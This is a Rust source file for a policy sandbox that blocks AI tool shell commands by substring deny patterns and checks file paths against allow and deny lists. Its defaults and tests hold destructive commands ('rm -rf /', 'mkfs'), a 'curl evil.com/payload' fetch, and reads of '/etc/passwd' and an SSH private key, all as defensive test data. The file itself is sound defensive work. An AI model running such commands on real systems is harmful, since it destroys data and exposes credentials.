Skip to main content

recursive/tools/
policy_sandbox.rs

1//! L1 policy-based sandbox wrapper for tools.
2//!
3//! Validates tool inputs against configurable filesystem and shell command
4//! policies before execution. No OS-level isolation; violations are blocked
5//! at the Rust layer.
6//!
7//! # Design
8//!
9//! This corresponds to fake-cc's `@anthropic-ai/sandbox-runtime` L1
10//! functionality. It is composable: a [`PolicyConfig`] can be attached to
11//! a [`ToolRegistry`] via [`PolicyToolSetProvider`] without modifying any
12//! individual tool implementation.
13
14use serde::Deserialize;
15
16use crate::error::{Error, Result};
17use crate::permissions::{DecisionReason, RuleSource};
18
19// ─────────────────────────────────────────────────────────────────────────────
20// Policy types
21// ─────────────────────────────────────────────────────────────────────────────
22
23/// Filesystem access policy.
24#[derive(Debug, Clone, Deserialize, Default)]
25pub struct FsPolicy {
26    /// If non-empty, only paths whose canonical form starts with one of these
27    /// prefixes are allowed for reading.
28    #[serde(default)]
29    pub read_allow: Vec<String>,
30    /// If non-empty, only paths whose canonical form starts with one of these
31    /// prefixes are allowed for writing.
32    #[serde(default)]
33    pub write_allow: Vec<String>,
34    /// Paths explicitly denied for any access (overrides allow lists).
35    #[serde(default)]
36    pub deny: Vec<String>,
37}
38
39/// Shell command execution policy.
40#[derive(Debug, Clone, Deserialize, Default)]
41pub struct ShellPolicy {
42    /// Substrings / patterns whose presence in a command causes it to be
43    /// blocked. Simple substring matching — no regex.
44    #[serde(default)]
45    pub deny_patterns: Vec<String>,
46}
47
48/// Combined L1 policy configuration.
49///
50/// A default-constructed `PolicyConfig` has no restrictions.
51/// Use [`PolicyConfig::default_restrictive`] for a safe baseline.
52#[derive(Debug, Clone, Deserialize, Default)]
53pub struct PolicyConfig {
54    #[serde(default)]
55    pub fs: FsPolicy,
56    #[serde(default)]
57    pub shell: ShellPolicy,
58}
59
60impl PolicyConfig {
61    /// A baseline restrictive policy that blocks the most dangerous shell
62    /// patterns. Filesystem access is unrestricted (the workspace path check
63    /// in `tools::resolve_within` already handles escapes at a lower level).
64    pub fn default_restrictive() -> Self {
65        Self {
66            fs: FsPolicy::default(),
67            shell: ShellPolicy {
68                deny_patterns: vec![
69                    "rm -rf /".into(),
70                    "rm -rf ~".into(),
71                    "mkfs".into(),
72                    "> /dev/".into(),
73                ],
74            },
75        }
76    }
77
78    /// Returns `Ok(())` when `command` is permitted, `Err(PermissionDenied)`
79    /// when it matches a deny pattern.
80    pub fn check_shell(&self, command: &str) -> Result<()> {
81        for pattern in &self.shell.deny_patterns {
82            if command.contains(pattern.as_str()) {
83                return Err(Error::PermissionDenied {
84                    name: format!("shell command blocked by policy: matches pattern `{pattern}`"),
85                    reason: DecisionReason::Rule {
86                        source: RuleSource::Project,
87                        pattern: pattern.clone(),
88                    },
89                });
90            }
91        }
92        Ok(())
93    }
94
95    /// Returns `Ok(())` when `path` may be accessed, `Err(PermissionDenied)`
96    /// otherwise.
97    ///
98    /// * `write` — `true` for write operations, `false` for reads.
99    pub fn check_fs_path(&self, path: &str, write: bool) -> Result<()> {
100        // Deny list has highest priority.
101        for denied in &self.fs.deny {
102            if path.starts_with(denied.as_str()) {
103                return Err(Error::PermissionDenied {
104                    name: format!("path `{path}` blocked by fs deny policy"),
105                    reason: DecisionReason::SafetyCheck {
106                        path: path.to_string(),
107                    },
108                });
109            }
110        }
111        // If an allow list is set, the path must match at least one prefix.
112        let allow_list = if write {
113            &self.fs.write_allow
114        } else {
115            &self.fs.read_allow
116        };
117        if !allow_list.is_empty() {
118            let allowed = allow_list
119                .iter()
120                .any(|prefix| path.starts_with(prefix.as_str()));
121            if !allowed {
122                let kind = if write { "write" } else { "read" };
123                return Err(Error::PermissionDenied {
124                    name: format!("path `{path}` not in fs {kind} allow list"),
125                    reason: DecisionReason::SafetyCheck {
126                        path: format!("{path} ({kind})"),
127                    },
128                });
129            }
130        }
131        Ok(())
132    }
133}
134
135// ─────────────────────────────────────────────────────────────────────────────
136// Tests
137// ─────────────────────────────────────────────────────────────────────────────
138
139#[cfg(test)]
140mod tests {
141    use super::*;
142
143    #[test]
144    fn check_shell_allows_safe_command() {
145        let policy = PolicyConfig::default_restrictive();
146        assert!(policy.check_shell("ls -la").is_ok());
147        assert!(policy.check_shell("echo hello").is_ok());
148        assert!(policy.check_shell("cargo test").is_ok());
149    }
150
151    #[test]
152    fn check_shell_blocks_rm_rf() {
153        let policy = PolicyConfig::default_restrictive();
154        let err = policy.check_shell("rm -rf /").unwrap_err();
155        assert!(matches!(err, Error::PermissionDenied { .. }));
156    }
157
158    #[test]
159    fn check_shell_blocks_pattern_substring() {
160        let policy = PolicyConfig::default_restrictive();
161        // Pattern is a substring — should be caught even with extra content.
162        let err = policy
163            .check_shell("sudo rm -rf / --no-preserve-root")
164            .unwrap_err();
165        assert!(matches!(err, Error::PermissionDenied { .. }));
166    }
167
168    #[test]
169    fn check_shell_custom_pattern() {
170        let policy = PolicyConfig {
171            shell: ShellPolicy {
172                deny_patterns: vec!["curl evil.com".into()],
173            },
174            ..Default::default()
175        };
176        assert!(policy.check_shell("curl safe.com").is_ok());
177        let err = policy.check_shell("curl evil.com/payload").unwrap_err();
178        assert!(matches!(err, Error::PermissionDenied { .. }));
179    }
180
181    #[test]
182    fn check_fs_deny_blocks_path() {
183        let policy = PolicyConfig {
184            fs: FsPolicy {
185                deny: vec!["/etc".into(), "/root".into()],
186                ..Default::default()
187            },
188            ..Default::default()
189        };
190        let err = policy.check_fs_path("/etc/passwd", false).unwrap_err();
191        assert!(matches!(err, Error::PermissionDenied { .. }));
192        let err = policy.check_fs_path("/root/.ssh/id_rsa", true).unwrap_err();
193        assert!(matches!(err, Error::PermissionDenied { .. }));
194    }
195
196    #[test]
197    fn check_fs_allow_list_blocks_outside() {
198        let policy = PolicyConfig {
199            fs: FsPolicy {
200                write_allow: vec!["/workspace".into()],
201                ..Default::default()
202            },
203            ..Default::default()
204        };
205        assert!(policy.check_fs_path("/workspace/foo.txt", true).is_ok());
206        let err = policy.check_fs_path("/tmp/foo.txt", true).unwrap_err();
207        assert!(matches!(err, Error::PermissionDenied { .. }));
208    }
209
210    #[test]
211    fn check_fs_empty_allow_list_allows_all() {
212        let policy = PolicyConfig::default(); // no allow list, no deny list
213        assert!(policy.check_fs_path("/anywhere/file.txt", false).is_ok());
214        assert!(policy.check_fs_path("/anywhere/file.txt", true).is_ok());
215    }
216}